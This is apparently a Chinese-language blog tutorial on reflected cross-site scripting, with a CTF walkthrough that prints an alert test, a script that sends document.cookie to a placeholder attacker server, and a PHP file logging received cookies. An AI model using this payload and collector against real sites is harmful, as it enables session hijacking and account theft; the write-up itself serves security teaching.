反射型XSS--理论

什么是XSS?

XSS(Cross Site Script),即跨站脚本攻击。

攻击的基本过程:

  1. 攻击者在Web页面里插入恶意的js代码;
  2. 用户浏览该页面时,嵌入界面的恶意代码被执行;
  3. 攻击者达到攻击目的。

XSS的三种类型:

  1. 反射型XSS
  2. 存储型XSS
  3. DOM型XSS

今天我们讲反射型XSS相关内容。

什么是反射型XSS?

攻击者事先在Web页面中植入恶意代码,一般是攻击链接。

当用户进入页面时,恶意代码不会自动执行,而是需要用户自己去点击链接后,反射型XSS攻击才会进行。

理论就是这么多,接下来我们举几个实例,来熟悉反射型XSS攻击的原理与恶意代码的形式。

实操环节!

注意看,这个题目叫反射型XSS:

当我们在祝福语文本栏写下内容,再点击生成链接,下方就会出现我们输入的内容。

例如输入Wh1teR0se:

页面既然回显了我们输入的内容,说明这个内容被写入了网页的HTML中。

查看源代码,果然发现我们输入的内容:

那我们就可以设想,既然输入的内容被写入了HTML中,那我们输入js代码,代码自然也会被写入HTML,网页不就能执行我们写入的代码了吗?

输入代码:<script>alert(1);</script>

js代码果然被执行。

那么我们输入恶意代码,获取"用户"的Cookie。

这里是一道CTF题目的靶机,当然不会有别的用户,这里的"用户"指的是网站配备的BOT,一般在XSS题目中,都会配备一个BOT来模拟用户的访问。所以我们输入恶意代码后,该BOT就会自动触发我们的恶意代码。

javascript 复制代码
<script>location.href="http://xx.xx.xx.xx/flag.php?cookie="+document.cookie</script>

location.href 是页面跳转属性,后面是要跳转到的页面。
document.cookie 读取页面Cookie。
xx.xx.xx.xx是自己的服务器。这里不能用127.0.0.1,因为本地服务器只有你自己能访问到,其他人是不能访问的,自然也就不会成功重定向到你的服务器。没有服务器的需要自己搭建一个服务器。

代码作用就是当用户进入我们植入js恶意代码的页面后,将被重定向到我们指定的URL,并且我们能获取到该用户的Cookie。

php 复制代码
//flag.php
<?php
$cookie = $_GET['cookie'];
$log = fopen("cookie.txt", "a");
fwrite($log, $cookie . "\n");
fclose($log);
?>

该文件的作用是将cookie保存在cookie.txt文本文件中。

输入恶意代码后,成功跳转到自己的服务器。这时查看文本文件。
得到flag.

反射型XSS的基本攻击原理就是这样,希望你能学会。

相关推荐
Claire_ccat3 小时前
2025山西省网络安全职业技能大赛PWN方向题解
linux·安全·网络安全·pwn·栈溢出
雾迟sec3 小时前
Web安全-文件上传漏洞-黑白名单及其它绕过思路(附思维导图)
javascript·安全·web安全·网络安全·apache·安全威胁分析
unable code4 小时前
攻防世界-Misc-掀桌子
网络安全·ctf·misc·1024程序员节
久违 °20 小时前
【安全开发】Nuclei源码分析-任务执行流程(三)
安全·网络安全·go
white-persist20 小时前
汇编代码详细解释:汇编语言如何转化为对应的C语言,怎么转化为对应的C代码?
java·c语言·前端·网络·汇编·安全·网络安全
jenchoi4131 天前
【2025-11-03】软件供应链安全日报:最新漏洞预警与投毒预警情报汇总
网络·安全·web安全·网络安全
Z_renascence1 天前
web214-web220
web安全·网络安全
hu1j1 天前
[HTB] 靶机学习(十二)Eureka
学习·安全·web安全·网络安全·云原生·eureka
wgego1 天前
做题笔记BUU (XSS-Lab)(1-14)
前端·笔记·xss
jenchoi4131 天前
【2025-11-04】软件供应链安全日报:最新漏洞预警与投毒预警情报汇总
安全·web安全·网络安全